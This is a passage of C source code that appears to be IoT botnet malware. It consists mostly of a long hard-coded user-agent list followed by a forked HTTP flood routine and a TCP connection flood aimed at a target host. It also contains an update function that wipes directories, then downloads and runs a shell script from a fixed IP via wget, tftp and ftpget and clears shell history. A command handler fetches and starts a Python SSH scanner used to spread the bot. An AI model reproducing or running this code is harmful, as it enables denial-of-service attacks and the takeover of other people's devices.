  4124. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  4125. "C4PC UserAgent/0.7",
  4126. "Googlebot 1.01.003",
  4127. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  4128. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  4129. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  4130. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  4131. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  4132. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  4133. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  4134. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  4135. "Opera/6.04 (Windows XP; U) [en]",
  4136. "Opera/9.99 (X11; U; sk)",
  4137. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  4138. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  4139. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  4140. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  4141. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  4142. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  4143. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4144. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4145. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4146. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4147. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4148. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4149. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4150. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4151. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  4152. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4153. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4154. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4155. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4156. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4157. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  4158. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4159. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4160. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  4161. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  4162. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4163. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  4164. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  4165. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  4166. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  4167. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  4168. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  4169. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  4170. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  4171. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  4172. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  4173. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  4174. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  4175. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  4176. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  4177. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4178. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4179. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4180. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  4181. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  4182. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4183. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  4184. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  4185. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  4186. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4187. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  4188. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  4189. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4190. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  4191. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  4192. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  4193. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  4194. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  4195. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  4196. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  4197. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  4198. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  4199. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  4200. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  4201. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  4202. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  4203. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  4204. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  4205. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  4206. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  4207. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  4208. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  4209. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  4210. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  4211. "C4PC UserAgent/0.7",
  4212. "Googlebot 1.01.003",
  4213. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  4214. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  4215. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  4216. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  4217. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  4218. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  4219. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4220. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  4221. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  4222. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  4223. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  4224. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  4225. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  4226. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  4227. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  4228. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  4229. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  4230. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  4231. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4232. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  4233. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  4234. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  4235. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  4236. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4237. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  4238. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  4239. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4240. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  4241. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  4242. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  4243. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  4244. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  4245. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  4246. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  4247. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  4248. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4249. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  4250. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  4251. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  4252. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  4253. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  4254. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  4255. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4256. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  4257. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  4258. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4259. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  4260. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4261. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  4262. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  4263. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4264. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  4265. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  4266. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  4267. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  4268. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  4269. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  4270. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  4271. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  4272. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  4273. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  4274. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  4275. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4276. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  4277. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  4278. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  4279. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  4280. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  4281. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  4282. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  4283. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  4284. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  4285. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4286. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  4287. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  4288. "Wget/1.12 (linux-gnu)",
  4289. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  4290. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  4291. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  4292. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  4293. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  4294. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  4295. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  4296. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  4297. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  4298. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  4299. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4300. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  4301. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  4302. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  4303. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  4304. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  4305. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  4306. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  4307. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4308. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  4309. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  4310. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  4311. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  4312. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  4313. };
  4314.  
  4315. const char *connections[] = {"close", "keep-alive", "accept"};
  4316.  
  4317. int i, timeEnd = time(NULL) + timeFoo;
  4318. char request[512];
  4319.  
  4320. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
  4321.  
  4322. for (i = 0; i < power; i++) {
  4323. if (fork()) {
  4324. while (timeEnd > time(NULL)) {
  4325. int socket = socket_connect((char *)host, port);
  4326. if (socket != 0) {
  4327. write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
  4328. close(socket);
  4329. }
  4330. }
  4331. _exit(1);
  4332. }
  4333. }
  4334. }
  4335.  
  4336.  
  4337. void sendCNC(unsigned char *ip,int port, int end_time)
  4338. {
  4339. int end = time(NULL) + end_time;
  4340. int sockfd;
  4341. struct sockaddr_in server;
  4342. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  4343.  
  4344. server.sin_addr.s_addr = inet_addr(ip);
  4345. server.sin_family = AF_INET;
  4346. server.sin_port = htons(port);
  4347.  
  4348. while(end > time(NULL))
  4349. {
  4350. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  4351. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  4352. sleep(1);
  4353. close(sockfd);
  4354. }
  4355.  
  4356. }
  4357.  
  4358. void UpdateBins()
  4359. {
  4360. int pid;
  4361.  
  4362. if ( (pid = fork()) == 0) {
  4363. system("cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;wget http://80.211.226.219/cumfort.sh; chmod 777 cumfort.sh; sh cumfort.sh; tftp 80.211.226.219 -c get cumfort.sh; chmod 777 cumfort.sh; sh cumfort.sh; tftp -r cumfort.sh -g 80.211.226.219; chmod 777 cumfort.sh; sh cumfort.sh; ftpget -v -u anonymous -p anonymous -P 21 80.211.226.219 cumfort.sh cumfort.sh; sh cumfort.sh; rm -rf cumfort.sh cumfort.sh cumfort.sh cumfort.sh; rm -rf *; history -c");
  4364. sleep(20); //sleeping for 20 dont wanna kill all your bots.
  4365. } else {
  4366. printf("%d\n", pid);
  4367. }
  4368.  
  4369. return;
  4370. }
  4371.  
  4372. void processCmd(int argc, unsigned char *argv[])
  4373. {
  4374.  
  4375. if(!strcmp(argv[0], "PYTHON")) //Thanks to B1NARY for the python scanner :P
  4376. {
  4377. if(!strcmp(argv[1], "INSTALL"))
  4378. {
  4379. system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 80.211.226.219/good2.py");
  4380. ClearHistory();
  4381. sockprintf(mainCommSock, "INSTALLING PYTHON SCANNER");
  4382. }
  4383. if(!strcmp(argv[1], "UPDATE"))
  4384. {
  4385. system("cd /.tmp;rm -rf *py;wget 80.211.226.219/good2.py");
  4386. ClearHistory();
  4387. sockprintf(mainCommSock, "UPDATING PYTHON SCANNER");
  4388. }
  4389. if(!strcmp(argv[1], "OFF"))
  4390. {
  4391. system("killall -9 python;pkill python");
  4392. ClearHistory();
  4393. sockprintf(mainCommSock, "STOPPING PYTHON SCANNER");
  4394. }
  4395. if(!strcmp(argv[1], "START"))
  4396. {
  4397. system("cd /.tmp;python good2.py 1000 LUCKY 1 3");
  4398. ClearHistory();
  4399. sockprintf(mainCommSock, "STARTING VOIDS HACKA SCANNA");
  4400. }
  4401. }
  4402.  
  4403. if(!strcmp(argv[0], "PING"))
  4404. {
  4405. sockprintf(mainCommSock, "PONG!");
  4406. return;
  4407. }
  4408.  
